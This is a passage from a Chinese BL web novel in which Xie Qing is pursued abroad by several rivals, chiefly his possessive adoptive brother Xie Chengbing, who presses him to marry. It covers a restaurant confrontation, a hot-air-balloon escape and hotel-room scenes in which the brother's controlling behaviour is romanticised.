服务员一边用干净的餐布擦拭客人后背,一边不由自主地偷偷瞟谢清,秦霄终于转过身,脸色极差,勉强维持声线对服务员说:“不必了。” 他默默消化着这个消息,也对,谢呈冰和谢清本来就没有血缘关系,所以他追来A国的举动也不是哥哥对弟弟的关爱,而是有着更复杂的情感纠葛。 他一直以为自己和其他竞争者机会平等,没想到谢呈冰早在这段关系中占据了某种优势。 秦霄站在原地深呼吸一口气,想把谢清拉起来:“原来……原来你离开谢家是这个原因!跟我走,现在就走,我会保护好你的,谢呈冰这个衣冠禽兽……” 宋岩在边上看了半天的好戏,适时走过去挡住他。谢清甩开秦霄的手,无法否认,他打从心里并不乐意从旁人口中听到谢呈冰坏话:“你才衣冠禽兽,你干的事好不到哪去,你再闹我放狗咬你了。” 秦屿:“小鸡毛,上!” 金毛以为他们在玩,绕着三个人的桌子傻乐转圈圈,踩在洒掉的果汁上还滑了个出溜。 服务员带着工具过来清理了地面,主厨已经过来给他们亲自上菜了。 谢清愣了下:“我还没点。” 主厨:“是那边那位先生请你的。”他指了下后面,谢清回头,看见连忆心一个人坐在角落,有些怯懦地抬头看他。 ……热闹,真是热闹。 谢清转了回来,没说什么,拿起了餐具。 秦屿欲言又止,最终瞪着秦霄说:“你杵在那儿挡我老婆的光了,让开。” 秦霄慢慢退回座位上,几秒后又蓦然站起来:“我离开一会儿。” 秦屿冷哼:“早该走了。” 他马上美滋滋坐到了谢清对面,托着腮笑道:“宝宝,这下只有我们两个了。” 宋岩冷笑:“我不是人?” 长桌上的食物精致,可气氛实在微妙到了极点。 谢清:“你们俩要吵架出去吵哦,我想吃个安生的饭。” 两人一齐闭嘴了。 约莫半个小时,秦霄回来了,然而与他一道出现的,竟然还有谢呈冰。 两个人的表情都不是太好看,谢清猜到刚才秦霄一定是打电话质问了他哥。 秦霄不了解谢呈冰,他的行动永远比语言要快一步。 谢呈冰整个人带着他一贯的冰冷气质,表情冷峻地走向谢清:“我们该走了。” 秦屿和后面的连忆心几乎是同时站了起来。 秦屿脸上满是敌意:“干什么?我老婆还没有想去哪儿就去哪儿的自由了?” 秦霄也在他身后冷嘲热讽,一改往日妥帖虚假的微笑:“急什么,来了就走,是怕他和我们多相处几分钟,你就没机会了?” 谢呈冰扫了他们一眼,仿佛他们的反应对他来说毫无意义。他走到谢清身边,按在了他的肩膀上,目光柔和了几分:“今天别太累了,明天我们还要结婚的,你忘了吗?” 他的声音虽然不大,却像颗炸弹在整个餐厅炸开。所有人的表情瞬间变得僵硬,连宋岩的脸色也跟着阴沉下来。 秦霄率先反应过来,冷声质问:“你在开玩笑?结婚?谢清,你答应了?” 谢清就知道局面会发展成这样。 他撂下刀叉,喝光了最后一口果汁,慢吞吞擦了擦嘴,才抬起眼皮:“唔,怎么了,你们要来吗?问谢呈冰要请帖好啦。” 谢呈冰也没料到他会这么说,一瞬间差点也想追问一句:真的? 他呼吸和语速不觉变快了:“对,就在明天,地点是海岛上的圣殿大教堂,你们想来见证,我和谢清欢迎。” 他是真的筹备了婚礼的计划,只要谢清肯,随时都可以。 秦屿脸色瞬间涨红,显然被激怒了:“宝宝,是他逼你的对不对?你根本没必要答应他!” 秦霄也说:“不管怎么样,你是有选择的,有什么苦衷说出来,别被他左右。” 宋岩站在一旁,手指紧紧攥着拳头。角落里,连忆心也是表情阴鸷地盯着这边,咬紧牙关。 “都别吵了,”谢清说,分别看向秦屿和秦霄,“他没逼我,明天,你们爱来就来吧。我吃好啦,要走啦。” 他起身,谢呈冰顺势拉起他的手。 其余所有人站在原地,气氛在沉默中凝滞。 回酒店房间的时候,谢清的卡还没贴上去门就开了,谢呈冰一把将他拉进屋里紧紧搂住:“明天不如真的办一场婚礼吧?” 他在谢清耳边低声蛊惑:“能把他们都劝退,麻烦少一点,不是很好吗?” “好啊。”谢清说。 谢呈冰浑身一震,还没问出“真的吗”,谢清就说:“就想参观一下大教堂,不算结婚哦。” “……”谢呈冰闭了闭眼睛,“嗯。” “我还要继续看你表现的。”谢清强调。 谢呈冰抱着他的力度加重了一些,然后松开了。 “嗯。” “不许再弄丢我的衣服,不许像看犯人一样看着我。你看我这不是回来了吗,我躲来躲去两年了,已经很累了,但你如何还要限制我自由,我还是会走。” 谢呈冰嘴唇微微动了一下,到头来也没多说其他的,只答:“好。” 一个小时后,造型师被谢呈冰安排上门。 房间内,日光透过窗户洒在地毯上,空气中弥漫着淡淡的高级香水的味道。 造型师带着一排精美的礼服站在谢清面前,一件件给他展示着各类的名贵布料和独特剪裁。 谢清靠在沙发上,神色淡淡,手指无聊地滑动着手机屏幕,根本不配合造型师的提问。 “这件适合明天的婚礼,剪裁精致,衬得人身形提拔,你长相秀美又不失英气,是为数不多能撑起这个设计的人。”造型师赔着笑展示着一件白色西装礼服,语气里充满了专业热情。 然而谢清只是抬眼瞥了一下:“随便。” 谢呈冰站在一旁,目光在谢清和礼服之间来回扫视,即便谢清表现的如此不在乎,他也没有发怒,甚至心情看上去相当不错。 他慢慢走到礼服跟前,眼神犀利地打量了一下,指着这件白西装:“就这件。” 造型师会意,连连点头:“好的,先生,我会安排好的。” 谢清对谢呈冰自作主张的决定完全没有任何表示,甚至连头都没抬,依旧专注于手机屏幕。 就在造型师收拾礼服时,谢清已经悄悄在手机上订下了一个景点门票,那是和圣殿大教堂南辕北辙的一处景点,可以乘坐热气球纵览全城。 想到明天所有人都会在婚礼大教堂苦等,而自己已经美美在城市上空看他们的热闹,他的嘴角不禁扬起了一丝得逞笑意。 “在笑什么?”谢呈冰走了过来用指背刮了刮他的脸蛋。 谢清心跳微微一滞,迅速扣下手机,依旧是漫不经心地:“没什么,只是在想明天会是什么样子。” 谢呈冰没有追问,俯身在他脸上亲了一下:“明天就知道了。” 谢清的手机又震了一下,这次是宋岩发来的短信。 【你真的要和他结婚?】 谢清眸光微微一闪,手指在键盘上犹豫了会儿,随后发回了一个模棱两可的答案:“明天看吧。” 晚上谢清不肯和谢呈冰睡一起,把他推进了套房里面。 谢呈冰原本不肯,但提到明天的婚礼,想了想妥协了。 天色已经暗下来了,房间内一片寂静。谢清反复确认手机上的时间,他轻轻掀开被子,赤脚踩在柔软冰凉的地毯上,动作小心翼翼,蹑手蹑脚走到桌边,给自己倒了杯水,拉开窗帘。 “唰拉——” 夜晚冰凉的空气透过微微敞开的窗缝钻进房间,吹拂过他的脸颊,让他有些清醒。 下一刻,套房的里间房门忽然被推开,谢呈冰一下从里面冲出来,动作迅速,一把拉住了谢清,害得谢清手里杯子一晃,水都溅了出来。 谢清吓了一跳:“你干嘛。” 谢呈冰穿着居家服,声音压得很低:“我以为你又要走。” “我睡不着,起来看看夜景而已。”谢清抽了抽手臂,但谢呈冰仍然紧紧攥着不放。 “躺在床上闭上眼睛就睡着了。”谢呈冰低头看了看,“不要总光着脚,会着凉。” 说着弯下腰,双手一揽,把谢清抱了起来,毫不费力地将他转移到了沙发上,转身去玄关找了一双拖鞋。 “你什么都要管我。”谢清嘟哝,“你刚才这反应,神经质过头了吧?” 谢呈冰半跪在地上,动作轻柔地给他套上拖鞋。 谢清:“以后日子不是还长吗?想好好过,就别这么一惊一乍好不好。” 谢呈冰抬眼看着谢清,喉结微微滚动,似乎有什么话想说,但最终没说出来,只是低声答了一句:“以后我会注意。” 谢清摆摆手:“好了,你快回去睡吧,让我一个人待会儿。” 谢呈冰不动,谢清催促了他几句,终于把他赶回房间。 谢呈冰进屋以后,谢清又静等了一会儿,才开始慢慢地穿好衣服,手指拉在外套拉链时微微有些颤抖。 做好一切准备,他蹑手蹑脚推开房门,走出屋子,看了看时间,凌晨三点。 鬼鬼祟祟出了酒店,深夜的微风吹拂在脸上,带来自由的气息,谢清深吸了一口气,快速穿过空旷的街道,来到了摆渡车站点。 上了车,他轻松地靠在座椅上,心里一阵轻快。目的地是热气球的景点,距离明天那场紧张的婚礼越远越好。 车里驶离市中心,谢清的心也随之渐渐平静,长时间的紧张和逃避让他后知后觉的疲惫,眼皮不由自主沉了下去。 车子大概行驶了一两个小时,抵达的时候天色已经微微发亮。 谢清揉了揉眼睛,看到工作人员正在为巨大的气球打气、点火,空气中弥漫出一股淡淡的燃烧气味。 热气球在晨风中膨胀,轻微摇曳,像一个庞大的彩色巨兽。 谢清饶有兴致地看着这壮观的景象,对一会儿的行程非常期待。 早上有些冷,他稍稍裹紧了外套,转头看向四周。除了忙碌的工作人员,这里竟然没有别的游客。 他记得热气球通常会坐好几个人,现在天都亮了,应该会有更多乘客出现才对。 带着一丝疑惑,谢清随口问了导游:“怎么只有我一个啊?其他人迟到了吗?” 导游笑着耸耸肩,没有正面回答,只是说:“您再稍等一下,可能很快就会有其他人到了。” 谢清挑了下眉梢,虽然疑惑,但也没再追问。 正当他准备继续关上热气球的升空准备时,远处传来了车轮的声音,他回头一看,另一辆摆渡车缓缓驶停,随着车门一开,谢清的心猛地一跳。 从车上下来的不是别人,正是谢呈冰! 谢呈冰小臂上撘了一张薄毯,走下车的姿态依旧从容镇定,目光直勾勾落在谢清身上。 谢清的心情顿时非常复杂,他原以为自己的策划天衣无缝。 “你不是应该在……”随着谢呈冰走近,谢清声音越来越小,他朝后张望了几下。 “没有其他人,只有我。”谢呈冰将手中的薄毯展开,轻轻披在谢清肩上,动作轻柔得像在呵护小动物,“他们都去大教堂了。” 不过,等发现谢清不在那里以后,就又没个清净了。 但是无所谓,谢呈冰已经做好了长期争下去的准备。 谢清嘀咕:“那、那你怎么知道我要来坐热气球?” 谢呈冰捋了捋他的头发:“我就是知道。” 谢清被薄毯包裹住,上面还带着谢呈冰特有的体温和气息。他想发脾气的,可谢呈冰没提要抓他回去的事,看样子真的比以前有觉悟了。 他轻轻哼了一声,忽然模仿起谢怀章的严肃语气:“多大的人了,还一天到晚黏着弟弟,不嫌丢人。” 谢呈冰微微一笑:“不丢人。” 导游冲他们招手:“可以了,上来吧——我们要出发啦!” 登上热气球,谢清心情又好了不少。 气球缓缓升起,脚下的世界渐渐远去。晨曦的云雾散去,他们追逐着日出,热气球在沙漠投下影子,像一只可爱的感叹号。 天地交织,如同一幅唯美画卷。谢清站在热气球边缘张开手臂,心旷神怡。 谢呈冰从身后缓缓抱住了他,手臂环绕着他的腰,紧贴的身体传递出一种执着。 谢清本来想推开他,却因为谢呈冰将下巴轻轻搁在他肩头的一个动作,停住了。 小的时候,哥哥的怀抱就是一处避风港,令人难以抗拒,长大不知怎么,就变了意味。 谢呈冰竟也默契地提起过去:“你记不记得小时候,你刚被爸爸领回来,才这么矮,是个小布丁。” 他用手轻轻比划了一下。 谢清哼道:“你高,你最高行了吧。” 谢呈冰:“你被领回家后,我们第一次一起去郊外的小溪玩,那时候你多会撒娇。” 那个时候,小小的谢清蹦蹦跳跳踩在鹅卵石上,手里拿着从谢呈冰那儿要来的小网兜,试图捞起水中的小鱼。 溪流浅可见底,阳光洒在水面上闪闪发光,谢呈冰就在岸上静静看着新来的弟弟。 他还不习惯称对方弟弟。 “哥哥,帮我抓鱼!”小谢清努力了半天什么也没捞着,急忙求助谢呈冰。 谢呈冰应了一声,走过去站在他身旁,动作熟练地捞起了几条巴掌大点的小鱼,放进了谢清的小桶里。 “哇!哥哥好厉害!哥哥最棒!”小谢清兴奋地拍手,眼镜亮晶晶的,仿佛世界上最美好的事情就是这几条鱼。 很快小溪另一端的大石头吸引住谢清的主意,他立即放下网兜,跑到大石头旁,想爬上去看看风景。 但石头又湿又滑,小谢清的脚底打滑,整个人险些跌入水中。 谢呈冰眼疾手快,冲过去抓住了弟弟手臂,将他稳稳拉回了怀里。 小谢清的脸色有些发白,显然是被刚才的惊险吓到了。 谢呈冰蹲下身,双手紧紧捧住弟弟的小脸,语气是一贯的少年老成,严肃之余,比平时多了一分紧张:“你怎么这么不小心?以后不要乱跑,知道吗?” 小谢清被这个当了他没几天的哥哥抱得有些不自在,咯咯笑着,以为哥哥只是在吓唬他:“我没事啦!哥哥,你太紧张了!” 谢呈冰低头看着谢清无忧无虑的脸,心里忽然升起一股奇怪的信念—— 一种想要永远守护他的冲动。 尽管谢清毫无所知,但谢呈冰已经在心底默默做了决定,无论将来发生什么,他都会好好疼爱珍惜眼前的弟弟。 那天回家的路上,谢呈冰牵着谢清的小手,走得比往常更慢。 小谢清一路上叽叽喳喳地讲着自己捞鱼的“战绩”,还说以后要和哥哥一起抓更多的鱼。 谢呈冰古井无波的脸上露出一丝难以察觉的笑意。 热气球上,谢呈冰更加用力搂紧了谢清:“我那时候就知道,你迟早会跟我结婚的。” 谢清也不是第一次听他这么说了,心脏却还是会猛地一跳。 “你可不准在这里求婚哦,我会生气的。” 谢呈冰沉默了。 他果然是准备求婚的吧!?谢清无奈:“反正看样子,我这辈子是甩不掉你了,你又急些什么呢。” 这么久以来,他都陷入各路桃花的感情漩涡里,现在要多感受感受来之不易的自由! “说话呀,坏蛋哥哥?” 整座城市在脚下缩小,变成一幅精致的微缩景观,远处的山峦在日出下披上金色外衣,火红的太阳从山头露出了脸庞。 万道金光洒向天与地,谢清回过头,轮廓沐浴在日出的阳光中,带着浅浅的笑意,如梦如幻。 谢呈冰凝视着他,脸庞在光芒中显得格外柔和温暖,他十指用力紧扣,仿佛这一刻即是永恒。 “好,都听你的。” 第 51 章【VIP】 第51章 第 51 章 宋岩站在门口, 黑眸沉静如夜,麦色的肌肤在走廊昏暗的灯光下显得黝黑。 他额角那道醒目的疤痕随着脸部的紧绷而更加狰狞。 但当他一看到谢清,原本严肃的表情顿时软化下来, 嘴角微微上扬,眼中透出了一丝急切与压抑已久的情感。 谢清当场愣住, 心脏猛地一跳,几乎以为自己在做梦:“岩哥?你怎么会在这儿?……是、是我哥……?” 宋群奉了爷爷的命令要把他丢去他哥找不到的地方, 宋岩虽然也是宋家人, 可谢清知道他不会那么做。 所以他找到了自己, 背后的人应该不是宋群,而是…… 宋岩没有回答, 只是一步迈进房间,动作果断而有力, 随手关上了门。 他走到谢清面前,伸出一只粗糙的大手,将谢清紧紧搂入了怀中。 “对不起, 都是我不好, 没有保护好你!这些日子以来,很辛苦吧?秦霄有没有把你怎么样?” 谢清在密不透风的怀抱里好不容易才找到呼吸出口,默然摇摇头。 宋岩捧起他的双颊,像注视着一件珍宝一样仔细看了又看, 强烈的思念和后怕在这一瞬间彻底爆发, 他低下头, 直接封住了谢清的唇。 谢清怔住片刻, 随即挣扎了一下, 但却被宋岩那熟悉而又不讲理的气息所笼罩,内心的委屈也在这一刻倾泻。 他闭上眼, 任由宋岩炽热的吻掠夺着自己,双手无意识地攀上对方宽厚的肩膀。 这个吻充满了压抑和渴望,谢清失去的记忆本就找回了大半,此刻时光仿佛回溯到从前秘密相处的日子。 几分钟后,宋岩终于稍稍放开了谢清,他的额头抵着谢清的,气息略显急促:“你哥也来了。你想和他回去吗?” 谢清听到“你哥”这个词,身体猛地一僵,原本还沉静在重逢和回忆里的情感瞬间冷却下来。 他迅速推开了宋岩,呼吸有些不稳:“我不回去!你应该猜得到发生了什么吧?你走吧,告诉他没有找到我。” 宋岩眼神中闪过一丝痛苦和挣扎,伸手想再度触碰谢清,却被谢清坚决阻止。 他当然猜得到,他父亲接到了怎样的命令。 而谢呈冰对此恐怕并不知情。 无论是老太爷还是大少爷现在都要接谢清回家,一边是他效忠的家族,一边是谢清…… 宋岩咬了咬牙,声音低哑:“我知道你不愿回去,但这不是你能躲一辈子的事。你知道大少爷不会接受你消失,除非你真的下定决心,这辈子再也不见他,那么我……” “那么你如何?” ——冷冽的声音是从门外来的。 房间门忽然被猛力推开,随着一袭冷风涌入的,是一个冷峻颀长的人影——谢呈冰。 谢呈冰一身黑色风衣,站在门口,冰冷的目光扫过房间里的两人,眼底尽是寒意。 他冷冷开口,语气带着威严:“宋岩,我猜到你不死心,没想到,这么不死心。” 宋岩猛然转身,挡在谢清面前,没有丝毫畏惧地迎上谢呈冰的视线:“抱歉,大少爷。但……如果他不肯,我今天不会让你带走他。” 谢清心脏狂跳,站在宋岩身后,紧张得几乎无法呼吸。 只是看了一眼谢呈冰,他就已经委屈的想哭出来。 谢呈冰的视线越过宋岩,定定看着谢清,尽管神色严肃,可冰冷的眼眸深处,关切无所遁形。他伸出了手:“过来,我带你回家。” 谢清低下了头:“冷静了这么久,你还没想通吗?” “想通了。”谢呈冰说着上前一步,“我不该等,应该直接和你结婚的。” 谢清无奈:“怎么扯上结婚了。” “结婚才能拴住你。”谢呈冰忽略宋岩去拉谢清的手,“我们现在就去领证。” “大少爷,别开这种玩笑。”宋岩骨子里的忠诚意识使他没能出手阻拦,但仍然用身体隔开了两个人。 谢清也说:“你别闹了!领了国内也不承认。爷爷更不会承认。” “那就瞒着爷爷好了。” 宋岩再次用身体格挡了谢呈冰上前的动作:“大少爷,尊重你弟弟的选择吧。” 谢呈冰眼神变得锐利如刀,刮了宋岩一眼:“谢清,你回答他,要不要和我走。” 他这么问,心里却早就做好准备,无论谢清选什么今天都一定会把他带走。 谢清:“我不回去。” 宋岩立刻揽住谢清,打算带他离开,谢清却抱歉地拍了拍他的胳膊:“岩哥,让我单独和哥哥讲几句话。” 宋岩一滞,而谢呈冰眼神轻微闪烁,神情柔和了几分。 宋岩握了握拳:“……有事喊我。”然后绷着脸大步走了出去。 两人中间再也没有了阻挡,可谢呈冰却垂眸看着谢清的手,忍住没拉起来。 他明明做好当个恶人的准备,但现在又不想听谢清说那些预料中的话。 宁可让自己看上去心硬如铁。 谢清:“……爷爷,还好吗?” 谢呈冰点头。 “那就好。” 谢清要求单独说话,可说了这么一句,似乎就没有其他的了。房间的空气陷入长久沉默。 谢清:“秦氏的麻烦,是你做的?” 谢呈冰没吭声。 “收手吧。我人没怎么样。”他不想谢呈冰因为这事胡闹,说来还多亏秦霄把他从宋群手中救走,虽然后来限制了他的自由,不过现在那家伙显然是想通了。 谢清没法和谢呈冰说,自己逃到国外是爷爷的缘故。 “这么久没见,你就只和我说这个?”谢呈冰还是忍不住攥住了谢清的手腕,“单独说话,就为了别的男人?” “就当是吧。”谢清说,“我要是不同意结婚,你就要继续强迫我,把我绑起来,锁进家里面吗?” 谢呈冰抿了下唇:“你答应我就不会了。” “我不答应!”谢清气笑了,“你知道我最讨厌你哪儿吗?就是你这独断专行的劲儿,你……” “不许讨厌我。”谢呈冰拉着他往门外走,“走,我们去领证。” 谢清被拽着走了两步就大喊:“岩哥,岩哥!” 宋岩为难地拦在门口:“大少爷,别这样。” “让开。”谢呈冰冷冷道。 宋岩不再说话,用力搂住了谢清,要把人从谢呈冰手里夺走。谢呈冰忽然攥紧了拳头挥向了自家保镖。 “啊……!”谢清吓到了。 他从来没见过谢呈冰打人,哥哥的怒火很少显化,总是闷不吭声,可这一拳是如此狠绝,他才知道以前谢呈冰镇压自己的那些反抗都是留了余地的。 宋岩其实躲的掉,但却没有避开,生生挨了这一下。 谢呈冰:“还手。” 宋岩还是沉默,谢清明白,他现在挨打是觉得亏欠家主的恩情,哥哥再打下去,宋岩真还手,局面就一发不可收拾了。 谢清横在二人之间:“住手!” 宋岩:“小少爷,你让开。” 谢呈冰也说:“谢清,让开。” 谢清先检查了一下宋岩的伤口,然后回头瞪着他哥:“你要打打我好了。”可甫一转身,却瞠目结舌说不出话来。 谢呈冰眼眶通红,表情异常悲伤。 他从没见过他哥用这种伤心的表情看他,就算是找回的记忆里,第一次决裂也是。 那时的谢呈冰骨子里没有让步两个字,强迫也好,用诡计也罢,都要把谢清留住。 但现在,他知道这些原来也没有用处,谢清还是会一次次、一遍遍离开。 谢呈冰问:“你真的不爱我?” 他以前问不出这种话,谢清是爱他的,只不过是对于兄长,所以没关系,他想办法让对方扭转想法就好。 谢清嘴唇抖了抖:“谢呈冰……” 谢呈冰声音低哑:“我可以……不强迫你回家。也可以再给你几天考虑结婚的事,别丢下我,好吗。” 谢清浑身一震。 过了好一会儿,他低声反驳:“……谁要丢下你了,说得像我对不起你一样,明明是反过来。” 谢呈冰缓步上前,见这一次谢清没有排斥,便轻轻抬手环抱住了他。 谢清能闻到他身上带着熟悉的气味,没来由有点难过。 哥哥怎么就不能是亲哥呢? ……即便如此,对哥哥撒娇好像也已经是刻进肌肉里的记忆,谢清把头轻轻枕在谢呈冰肩上,声音有点哽咽:“那这次让我考虑几天,是指几天呢?一天吗?” 谢呈冰沉默了一下:“……考虑到你想清楚为止。” 谢清有些不敢相信,谢呈冰真的妥协了吗?他哥哥向来是一诺千金的人,这次不会反悔吧? “不会再用极端手段限制我,不会再玩文字游戏?” 谢呈冰:“嗯。” 因为那样的手段,终究留不住。 谢清吸了吸鼻子,说不上是什么心情。总之谢呈冰能妥协实在太好了。 他推开了谢呈冰:“先离开这里吧。” 他可不想让秦屿秦霄撞上他哥,只想图一个清静。 宋岩在一边露出有些苦涩的神情,不必背主,不知为何却开心不起来。 他明白,谢呈冰在谢清心目中的地位无可撼动,他从起点就输了。 可是不甘心。 他拽住了谢清的胳膊,当着谢呈冰的面说:“宝宝,不管你现在的选择是什么,未来又如何改变主意,要记得,我一直在。一回头就在。” “……” 怎么突然好像,不知不觉就欠了一屁股情债呢。 谢清回避了一下他的目光:“岩哥,谢谢你。” 谢呈冰带谢清离开酒店,上了车,打电话取消了回国的航班,订了新的住处。 谢清屁股还没坐热,秦屿的电话突然打进来。 他正打算告诉对方自己离开的事,让他们别再追来。刚接上,谢呈冰就蓦然钳住他的下巴吻上来。 “唔……”谢清都要怀疑秦屿的电话有毒,一接就要被动手动脚。 秦屿上来听到这个动静也愣了:“宝宝你怎么了?出什么事了?!” “没、没什么,车里有些闷。”谢清捶了谢呈冰一下,“狗怎么样?” “没事了!先前是姓连的那个变态偷袭威胁我,我的人到了,他现在占不到便宜,宝宝,他还不知道你住在哪儿,你不要出门,等我回来。” “不必了,我……我自己有别的事先走了,你和你哥都别再来找我。” “什么?!”秦屿不可置信,“宝宝,别乱跑,你一个人很危险的……不对,你身边有人,是谁?” 谢呈冰又吻上来,谢清匆忙挂掉了电话。 “你干嘛呀!刚才还说给我时间考虑呢,现在要反……唔唔!” 谢呈冰退了出来,用牙齿轻咬了一下谢清的唇肉:“给你时间考虑结婚,不妨碍先谈恋爱。” “谈恋爱”三个字从谢呈冰嘴里说出来,总感觉哪里怪怪的。 “谁要和你……”眼见谢呈冰紧绷着一张棺材脸,谢清改口,“就算要谈恋爱也是要循序渐进的,懂吗?” 见谢呈冰没反应,谢清就去拉车门:“你再这样我下车了。”车子还在开动中,谢呈冰皱眉把他拽回来:“好了,我知道了。” 谢清“哼”了一声,扭头看着窗外的一排排棕榈树。 司机因为刚才的变故放缓车速,差点踩刹车,这会儿车子再重新加速,还在恢复速度,迎面的一个街角蓦然杀出数辆车,半道截停,横在他们前面。 司机再度急刹,车上四个人一起皱了眉头,宋岩拉开副驾门:“我去看看。” “等一下。”谢清叫住了他。 截停的车辆中,有一辆车门拉开,连忆心从中走下来:“谢呈冰……又是你!阿清,你还好吗?是不是他挟持你?我来救你了。” 谢呈冰眯了眯眼睛:“阴魂不散。” 谢清本来极力避免哥哥和秦家人冲突,不成想和连忆心照面。他按住谢呈冰:“你可别冲动啊,让我下去和他说。” 谢呈冰已经拉开车门下去了,谢清预判到他想把自己锁在里面,迅速拽着他的衣角也跟下车。 谢呈冰皱眉:“回去。” 谢清:“我怕你们不冷静,这是在国外,你们不要起冲突……” 连忆心打量了一下两人,眼底闪过一丝恨意:“阿清,那天他义正词严把你从我身边带走,结果怎么样?你别被他的花言巧语又糊弄过去,那不是你哥哥。过来,我帮助你,我说过会在这里保护你的,不管对手是连隐,还是他谢呈冰。” 谢清冷冷道:“什么结果怎么样?你是不是误会了,我不过是出来国外散散心,他也没有要把我怎么样,你现在这么大阵仗是干什么?骗人不管用,决定来硬的了?” 连忆心急了:“阿清,我知道错了,我以后再也不骗你了。我也是第一次恋爱,没有经验,你再给我一次机会好不好?” “不好。”这是谢呈冰说的。 连忆心剜他一眼。 谢清:“我们俩性格不合,给再多机会也没用。你放弃离开吧。” “谁说的?我哪里让你不喜欢,我都可以改的。” 谢清:“那你先让那些车让开。” “好,我让。我没有要强迫你的意思,”连忆心说着还充满阴阳意味地瞟谢呈冰一眼,“我只是怕你有什么事才堵他。” 连忆心转头去指挥三辆车退开,谢呈冰拉起谢清便问:“你想要什么样的婚礼?我看这边海滩风景很好,不如就选在这里。” 连忆心身体一僵,猛然回头:“你们要结婚?” 谢清甩了下谢呈冰的手,没甩掉,横了他一眼。 不过为了让连忆心早点死心,他也没拆穿。 谢呈冰自顾自说下去:“那就这里吧。就明天,不需要邀请什么朋友,我请好了神父为我们主婚。” 连忆心难以置信,眼眸中尽是破碎的意味:“阿清……” 谢清不想站在大马路上和两个随时要拼命的危险人物掰扯,只想赶紧糊弄过去:“冷死了,先回酒店再说。” 连忆心不死心:“就算我说我会改,你还是要和谢呈冰结婚?” 谢呈冰让司机去另一边,自己坐上驾驶座。一脚油门,车擦着连忆心冲了出去,将他撞得一个踉跄。 谢清透过后视镜看到连忆心追车跑了几百米,绊倒在马路上,身影逐渐被甩下,成了一颗芝麻大的黑点,车子转过街角,黑点消失不见。 【END】 第52章 第 52 章 夜色微凉, 谢请被谢呈冰牵着并肩走在新酒店的走廊。酒店灯光昏暗,照在两人身上,拖出两条长长的影子。 谢呈冰一如既往的沉默, 但谢清光是看着他的影子,都能感觉出他周围那种微妙的气息。 尽管甩掉连忆心后的一路上, 他都没有再出现情绪波动,但略显生硬的步伐还是暴露了他的些许不满。 谢呈冰打开房间的门, 动作流畅自然, 声音也好似漫不经心响了起来:“这段时间, 你和他们混得很不错?已经冰释前嫌,既往不咎了?” 谢清顿了一下, 小声说:“是又怎样。” 谢呈冰回头看他,谢清怂了, 改口:“只是他们单方面缠着我罢了,我只给了你机会,你还有什么不知足。” 谢呈冰叹了口气, 进屋除下外套, 低头回了几条工作信息,静音了手机放在一边。 “衣服脱掉,我检查一下。” 谢清像只炸毛小猫:“又来,亏我以为你已经不变态了, 你是我什么人啊就检查!” “未婚夫。”谢呈冰说, “以后就是丈夫。” “你也有这么耍无赖的时候?!”谢清鼓着嘴巴。先说给点时间考虑, 然后默认是在谈恋爱, 没否认恋爱, 就又默认会结婚,还真是自洽的好逻辑呢! 他拔腿就要往套房里走, 被谢呈冰拦腰抱住,在他怀里张牙舞爪了半天,最后被按在了床上。 “不是耍赖,我会遵守我的承诺。只是……不代表我会喜欢你和别人那么亲近。” 谢呈冰俯身,深邃的眼眸中藏着汹涌压抑的情绪,但动作缓慢自然,带着试探触碰谢清的侧腰, 谢清立即抓住了他的手:“别……你手机亮了,快去接。” “不用管。”谢呈冰强行撩起了他的衣角,微凉的指尖触碰到腰部敏感的软肉,刺激的谢清一哼。 谢呈冰还要继续,房门却被敲了敲,宋岩低沉的声音响在门外,打破了一丝旖旎。 “大少爷,老太爷的电话,找您。” 谢呈冰动作停顿了一下,谢清身体也变得有些僵硬。 “……去接吧,别让爷爷等太久。”他推了推腰上的手臂。 谢呈冰站直身体,手不由自主从谢清的身上离开,抿了抿唇,像是要说些什么,但最终只是垂下眼帘,藏起来眼底的疲惫。 “嗯。” 谢呈冰拾起手机去了走廊,也许是不想谢清听见,走得很远。 宋岩进来了,在谢清有些乱的衣衫上停留了一瞬。 谢清连忙整理了一下坐起来:“家里现在是什么情况?” 宋岩沉默片刻,说:“大少爷为了找你,把许多重要事务推到了一边,老太爷非常不满意。” 谢清的心微微一颤。 “爷爷的态度很强硬吧?” 宋岩轻轻点头,走近了,摸了摸谢清的头发,像是安慰。 “大少爷还并不知道老太爷下令让你走的事……他为了老太爷的身体,也没有提和你的事,原本相安无事,不过为着放下公务出国找你,两人一直默认不提的事被搬上来,老太爷逼得很紧,苗头不太好。” 谢清没再出声,抬头看向窗外,天际的云层缓缓飘动,玻璃窗映射出他迷茫的脸庞。 过了会儿谢呈冰回来了,推门而入时,看到宋岩站在谢清身边,眼神瞬间冷了下来。 谢清注意到他靠近,语气有些不自然:“电话打完了?” 谢呈冰没有立即回答,而是直接伸手轻轻拂过谢清的脸庞,指尖带着漫不经心的力度,顺着他的脖颈滑落到肩线。 再简单不过的触碰,可却透着一股不容拒绝的霸道,和刻意的亲密,仿佛在宣示着什么。谢清心跳莫名变了速度,不自觉后退了半步,但却被牢牢抓住了手腕。 谢呈冰的掌心温度不知何时变得滚烫,覆在他纤细的手腕上,微微用力,带着一种侵略性。 “不用在意电话,继续刚才的事情吧。”谢呈冰语气平静,手指摩挲着谢清的肌肤,旁若无人的越靠越近,身体几乎贴在了一起。 宋岩眉头紧皱,看着谢呈冰的动作,眼中闪过一抹复杂的情绪。他的唇紧抿成一条线,没有出声,但微微绷紧的身体透露出隐忍。 谢清一时分辨不清他是不是真的要“检查”,要怎么检查,紧张之下咬了咬唇,试图将手从谢呈冰的掌心中抽回,但谢呈冰的力道更大了些,带着他重新朝床边靠近。 “哥,别这样……”谢清憋红了脸。 谢呈冰不理会他的抗拒,手指轻轻抬起他的下巴,带着某种不易察觉的温柔,几乎就要亲上来。 谢清快速瞟了宋岩一眼,脸上略过一丝不自在的尴尬:“岩哥,你先出去吧。” 宋岩沉默了几秒,眼神复杂。有一瞬间,他似乎想要说些什么,眼底泄露出一丝挣扎。然而看到谢清恳求的表情后,还是低头沙哑地应了一声,步伐沉重地走向门外。 随着房门轻轻关上,房间里的气氛顿时变得更加暧昧紧张。谢呈冰的动作变得肆无忌惮,手指顺着谢清的锁骨一路滑下,呼吸在耳畔起伏。 他太了解谢清身体的敏感之处了,甚至比谢清自己还了解,三两下就点着了空气。 谢清的心跳不由自主加快,身体记忆帮他回忆起了在家、在车上、在办公室……那些荒唐的回忆。 他微微后退,但被谢呈冰按在床上挣脱不开。 “你躲什么?”谢呈冰声音低沉而蛊惑,轻舔了一下谢清的耳垂,带来一阵轻微的战栗。 谢清呼吸急促了许多,别过头,尽量平复心绪:“你答应过我,不会逼我。” 